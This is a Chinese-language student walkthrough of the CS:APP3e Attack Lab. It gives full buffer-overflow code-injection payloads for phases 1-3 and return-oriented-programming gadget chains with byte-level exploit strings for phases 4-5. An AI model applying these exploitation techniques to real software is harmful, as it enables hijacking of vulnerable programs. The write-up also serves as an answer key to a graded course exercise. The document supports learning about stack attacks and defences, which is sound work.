CS:APP3e Attack Lab

确保先阅读并理解了CS:APPe3的3.10.33.10.4

先反编译:

objdump -d ctarget > ctarget.asm
objdump -d rtarget > rtarget.asm

最后确保仔细阅读官网的writeup,查看每个阶段需要做什么。

Part 1

先明白函数栈的生长方向。ret指令的作用。push指令的作用。%rsp和%rip的作用。

能够使用gdb和objdump指令。

code-injection攻击只适合这种,没有栈随机化限定可执行代码内存范围的情况

Phase 1

第一个阶段很简单,只要先查看给函数getbuf分配了多少栈空间,利用缓冲区溢出,修改ret指令的返回地址(上一个栈帧的栈顶)就行。

00000000004017a8 <getbuf>:
  4017a8: 48 83 ec 28                  	subq	$0x28, %rsp
  4017ac: 48 89 e7                     	movq	%rsp, %rdi
  4017af: e8 8c 02 00 00               	callq	0x401a40 <Gets>
  4017b4: b8 01 00 00 00               	movl	$0x1, %eax
  4017b9: 48 83 c4 28                  	addq	$0x28, %rsp
  4017bd: c3                           	retq
  4017be: 90                           	nop
  4017bf: 90                           	nop

00000000004017c0 <touch1>:

getbuf函数分配了0x28Byte的空间,也就是40Bytes

输入48Bytes,最后一个8Byte设定为touch1函数的地址就行。

注意是小端存储。

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00     # 到这里填充完getbuf的栈帧
c0 17 40 00 00 00 00 00     # 这里篡改了ret的返回函数地址

我存储为phase1.txt

作为参数运行rtarget:

cat phase1.txt | ./hex2raw | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00

Phase 2

第二个阶段要求带参数进入touch2函数,%rdi作为第一个参数传递。

问题在于,现在我们可以利用缓冲区溢出,修改上一个栈帧的栈顶,也就是ret指令的返回值。

但是如何执行参数赋值呢?

正常来说带参数调用函数,应该是先对参数赋值,然后进入函数。

movl $cookie, %edi
call <touch2>

问题就在于如何插入这个movl的攻击代码。

我们唯一能输入的内容只有缓冲区,所以一定在缓冲区内插入我们的代码(而且writeup的提示很明显,让我们使用gcc -c选项和objdump -d来手动获取一个汇编指令的字节码)

根据第一个阶段的注入,我们可以让ret的地址,绕回这个缓冲区,也就是让%rip(又名程序计数器PC)来指向这个区域,然后逐条执行攻击代码。

例如下面的输入。假设%rsp在getbuf函数中,值为0xabcde0

那么可以让前一个栈帧(test函数)的栈顶改成0xabcde0

从而getbuf内部的ret指令执行时,PC指向0xabcde0,那么这里开始只要注入代码,就可以照常执行攻击代码,从而对%rdi赋值cookie

00 00 00 00 00 00 00 00     # 假设这里的地址是0xabcde0  <- %rsp
00 00 00 00 00 00 00 00     # 那么这里的地址是0xabcde8
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00     # 到这里填充完getbuf的栈帧
e0 cd ab 00 00 00 00 00     # 这里篡改了ret的返回函数地址 <- %rsp + 0x28

需要注意的是,执行完了movl给第一个参数赋值cookie,我们要跳转到touch2: 0x4017ec的位置

writeup中说明了,最好不要使用call或者jmp指令,所以我们仍然使用ret指令。

getbuf内部的ret指令执行完毕后,PC指向攻击代码的部分,同时,%rsp指向原本栈帧test函数的部分

为了跳转touch2,我们要push一次touch2的地址。

所以初步的攻击代码如下:

movl    $0x59b997fa, %edi
pushq   $0x4017ec
ret

将其转为字节码后,作为输入的字符串。

touch attack2.s
vim attack2.s     # 编辑代码
gcc -c attack2.s
objdump -d attack2.o

得到:

attack2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	bf fa 97 b9 59       	mov    $0x59b997fa,%edi
   5:	68 ec 17 40 00       	pushq  $0x4017ec
   a:	c3                   	retq

同时,需要知道当程序运行到getbuf时,%rsp寄存器的值,因为我们需要绕回到这个地址然后逐行执行攻击代码。

getbuf第二行汇编处断点,用gdb调试打印%rsp寄存器的值即可。

(gdb) i r rsp
0x5561dc78

所以level2的注入代码如下:

bf fa 97 b9 59 68 ec 17
40 00 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

Phase 3

首先读懂要做什么,请仔细阅读writeup.

其实就是getbuf结束后,不回到test函数,而是调用touch3,同时传入字符串。这个字符串的值要求是cookie的ascii表示:

cookie: 0x59b997fa
hex:    35 39 62 39 39 37 66 61 # 这个作为字符串存放在内存的某个位置

梳理一下内容,首先我们在test函数中调用了getbuf函数。

然后有了这样的栈帧结构:

(高地址在第一行, 注意下面是栈的结构)

?? ?? ?? ?? ?? ?? ?? ?? # test函数的栈帧
[ret address (64bit)]   # getbuf函数结束后ret的参考地址 这里是%rsp + 0x28
xx xx xx xx xx xx xx xx # getbuf分配了0x28 * 64bit的空间(64位机器)
xx xx xx xx xx xx xx xx #
xx xx xx xx xx xx xx xx #
xx xx xx xx xx xx xx xx #
xx xx xx xx xx xx xx xx # <- %rsp的位置 同时也是缓冲区输入的位置

按照level2的攻击方式,我们先把最后一行填充完毕,然后覆盖掉ret address的地址,让%rip指向上面的最后一行,也就是注入的代码。从而执行攻击代码。

但是writeup中提及,当hexmatchstrncmp调用的时候,会push数据到栈中。

下面是getbuf执行完毕后栈的情况:

?? ?? ?? ?? ?? ?? ?? ?? # test函数的栈帧 <- %rsp的位置
[ret address (64bit)]   # 因为ret将%rip的位置设置到了这一行的地址
xx xx xx xx xx xx xx xx # getbuf分配了0x28 * 64bit的空间(64位机器)
xx xx xx xx xx xx xx xx #
xx xx xx xx xx xx xx xx #
xx xx xx xx xx xx xx xx #
xx xx xx xx xx xx xx xx # <- %rip 即将要执行的攻击代码

假如我们攻击代码要开始调用touch3了,然后内部再次调用hexmatchstrncmp函数。(这时候已经执行到攻击代码的最后一行ret)

稍微查看hexmatch就会发现,它居然push了一堆东西,并且让%rsp减了0x80,这让我们的攻击代码被覆盖。

其实代码被覆盖没有问题,因为我们在gebuf执行完毕之后,执行了一遍攻击代码,然后ret到我们设定的touch3位置。

但是我们输入的字符串数据将会被覆盖,这就是要解决的问题。显然继续往栈顶放置字符串不妥,因为我们不清楚栈被push了多少内容。那就牺牲test函数的栈顶了。(?的位置)

所以,这一次,我们需要将字符串作为参数,存放在test函数栈帧的栈顶位置(通过gebuf的缓冲区溢出来存放),ret的地址设定为touch3的函数位置(通过攻击代码的push)。

因为我们要手动填写??那一行,touch3的第一个参数%rdi要填入??那一行的地址。通过前文,或者gdb直接打印地址就行:0x5561dca8

mov   $0x5561dca8, %rdi
push  $0x4018fa
ret

获取这段代码的字节码:


attack3.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi
   7:	68 fa 18 40 00       	pushq  $0x4018fa
   c:	c3                   	retq

所以答案phase3.txt是:

48 c7 c7 a8 dc 61 55 68 # 攻击代码从这里开始 %rip是逐行执行
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 # getbuf结束后ret返回攻击代码的第一行
35 39 62 39 39 37 66 61 # 覆盖test函数栈帧,安全存放字符串

Part 2

前面每次运行ctarget的时候,栈的地址都是一样的。

但是这里rtarget加入了栈随机化。

这就导致了phase2phase3很难再通过找到%rsp的地址来执行我们自己注入的代码。因为每次运行%rsp的值都不一样。

所以得根据writeup中的ROP策略利用已有的字节码来执行需要的操作。

利用farm.c的代码,来看看有没有什么灵感。

gcc -c farm.c
objdump -d farm.o > farm.asm

Phase 4

要求实现跟Phase 2一样的操作,只不过是在rtarget上运行。

并且只能使用前八个寄存器.(%rax ~ %rdi)

查看rtarget的反编译结果,跟ctarget没什么两样,问题就在于我们不能注入代码了,因为加入了栈随机化,我们不知道我们注入的代码在栈的地址。

总体而言的操作和Phase 2一样:

attack2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	bf fa 97 b9 59       	mov    $0x59b997fa,%edi
   5:	68 ec 17 40 00       	pushq  $0x4017ec
   a:	c3                   	retq

然后我们能够控制的就是缓冲区的输入,替换掉ret的地址,然后一直链式反应,执行我们的代码.

比如ret的字节码是c3, nop的字节码是90

那么我们需要有这样的栈结构(尽管会破坏test函数栈):

getbuf执行完毕,%rsp加上0x28然后指向下面的address

然后进行ret指令

address + 0x8: [gadget 2的地址]
address:       [gadget 1的地址]  # <- %rsp 即将ret跳转到gadget1
--------上面是栈的结构----------

gadget 1: bf fa 97 b9 59 c3 # mov <cookie>, %edi; ret
gadget 2: 68 ec 17 40 00 c3 # pushq $0x4017ec; ret然后进入touch2

那么一目了然,只需要找到这样的字节码就行,然后在缓冲区输入gadgets的地址就行。

很遗憾我并没有从farm相关的字节码找到最核心的0x4017ec0x59b997fa

所以我们必须在缓冲区输入这个地址,然后利用pop指令,让某个寄存器存放这个值(touch3的地址或者cookie值)

所以进一步推理栈的结构很可能是这:

address + 0x10:[touch2的地址]
address + 0x8: [cookie的值]
address:       [gadget 1的地址]  # <- %rsp 即将ret跳转到gadget1
--------上面是栈的结构----------

gadget 1: popq %rdi;            # 将cookie存放在rdi中
gadget 2: ret;                  # 然后ret进入touch2

让我们梳理一下,按照上述的栈结构,发生了什么。

当我们输入好攻击的内容后,栈变成上述内容。然后getbuf即将返回,%rsp指向ret的地址(已经被我们篡改成gadet 1的地址)。然后%rsp再次加0x8,同时我们进入gadet1,执行pop指令把cookie存在%rdi。pop指令一执行,%rsp再次加0x8然后,再紧接着执行gadget2的ret,也就是进入touch3

也就是,我们需要这样的gadgets:

5f c3 # popq $rdi; ret;

rtarget.asm中,很容易找到:

  401419: 69 c0 5f c3 00 00            	imull	$0xc35f, %eax, %eax     # imm = 0xC35F

所以gadgets的地址是0x40141b

所以缓冲区输入phase4.txt:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
1b 14 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
ec 17 40 00 00 00 00 00

精彩,不过为什么没用到farm的代码段呢,无所谓了

只要达到了攻击效果就行。

(然而我仔细阅读了writeup之后发现,我们需要的字节码都能够在start_farmmid_farm中找到, 其实就是pop到%rax中,然后再赋值给%rdi而已,只不过正好被我在别的程序段找到了更简洁的解法。)

Phase 5

Phase5要求和Phase3一样,调用touch3并且传入字符串cookie

与Phase3不同的是,rtarget采用了栈随机化,导致我们的字符串若是存在栈中,我们需要解决栈的地址的问题。

那么总体还是一样的,就是调用touch3之前,保证%rdi的值是字符串的地址。

此外,还要将

35 39 62 39 39 37 66 61 # cookie的ASCII表示

存在那个地址。

然后将touch3的地址压入栈中,ret指令进入touch3:0x4018fa

但是,rtarget中,我相信一定不会有这样的内存区域正好存着cookie的ASCII,所以这一串仍然需要我们通过缓冲区溢出的漏洞,写入栈帧中。

那么问题就在于,如何在栈随机化的程序上,明确%rsp的值呢?

或者,我们只需要%rsp的值赋值给%rdi,然后对%rdi进行一些加减操作,偏移到我们存储的地方即可。

并且注意到farm.c中正好就有定义add_xy(long x, long y):并且在rtarget.asm中的0x4019d6

那么显然我们有这样的栈结构和操作:

address + 0x28:[cookie的ASCII]  # <- %rdi + 0x20
address + 0x20: [touch3的地址]
address + 0x18: [add_xy()的地址]
address + 0x10: [第二个参数:0x20]
address + 0x8: [gadget 3的地址]  # mov %rsp, %rdi之前,%rsp是在这
address:       [gadget 1的地址]  # <- %rsp 即将ret跳转到gadget1
--------上面是栈的结构----------

gadget 1: mov %rsp, %rdi        # 获取%rsp的值 初始化add的第一个参数
gadget 2: ret                   # 进入gaget3
gadget 3: popq %rsi             # 初始化%rsi第二个参数为0x20
gadget 4: ret                   # 然后ret进入add_xy

# 进入add_xy之后ret
# %rax为加法结果: %rdi + 0x20

gadget 5: mov %rax, %rdi        # 加法结果保存为第一个参数
gadget 6: ret

对照gadgets的指令有:

48 49 e7 # mov %rsp, %rdi
c3       # ret
5e       # popq %rsi
c3       # ret
48 89 c7 # mov %rax, %rdi
c3       # ret

其他指令都好找,就是48 89 e7找不到紧跟c3的。

所以只能间接将%rsp传递给%rdi

先按照前缀找:48 89

0000000000401aab <setval_350>:
  401aab: c7 07 48 89 e0 90            	movl	$0x90e08948, (%rdi)     # imm = 0x90E08948
  401ab1: c3                           	retq

48 89 e0正好是mov %rsp, %rax是可以接受的,并且90是nop.

那么还差一个mov %rax, %rdi是重复的。

所以:

address + 0x38: [cookie的ASCII]  # <- %rdi + 0x30
address + 0x30: [touch3的地址]
address + 0x28: [gadget 6的地址]
address + 0x20: [add_xy()的地址]
address + 0x18: [第二个参数:0x28]
address + 0x10: [gadget 4的地址]
address + 0x08: [gadget 2的地址]  # mov %rsp, %rax时,%rsp在这
address       : [gadget 0的地址]  # <- %rsp 即将ret跳转到gadget0
--------上面是栈的结构----------

gadget 0: mov %rsp, %rax        # 间接传递,先传给%rax
gadget 1: ret
gadget 2: mov %rax, %rdi        # 获取%rsp的值 初始化add的第一个参数
gadget 3: ret                   # 进入gadget4
gadget 4: popq %rsi             # 初始化%rsi第二个参数为0x30
gadget 5: ret                   # 然后ret进入add_xy:0x4019d6

# 进入add_xy之后ret
# %rax为加法结果: %rdi + 0x30

*gadget 6: mov %rax, %rdi        # 加法结果保存为第一个参数
*gadget 7: ret                   # 这是add_xy内部的ret

那么gadgets的字节码及其地址有:

48 89 e0 # mov %rsp, %rax -> 0x401a06
c3       # ret
48 89 c7 # mov %rax, %rdi -> 0x4019a2
c3       # ret
5e       # popq %rsi      -> 0x401383
c3       # ret
48 89 c7 # mov %rax, %rdi -> 0x4019a2
c3       # ret

查找字节码在rtarget.asm的地址,得到缓冲区输入的内容有:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00 # 覆盖ret地址,gadget 0的地址
a2 19 40 00 00 00 00 00 # gadget 2的地址
83 13 40 00 00 00 00 00 # gadget 4的地址
30 00 00 00 00 00 00 00 # 第二个参数 0x30
d6 19 40 00 00 00 00 00 # add_xy的地址
a2 19 40 00 00 00 00 00 # gadget 6的地址
fa 18 40 00 00 00 00 00 # touch3的入口
35 39 62 39 39 37 66 61 # cookie的ASCII

完结撒花。

总结

对栈帧结构了解很多,深入理解了函数栈,以及缓冲区溢出攻击的方式。

不得不感慨国内外CS教育的差距。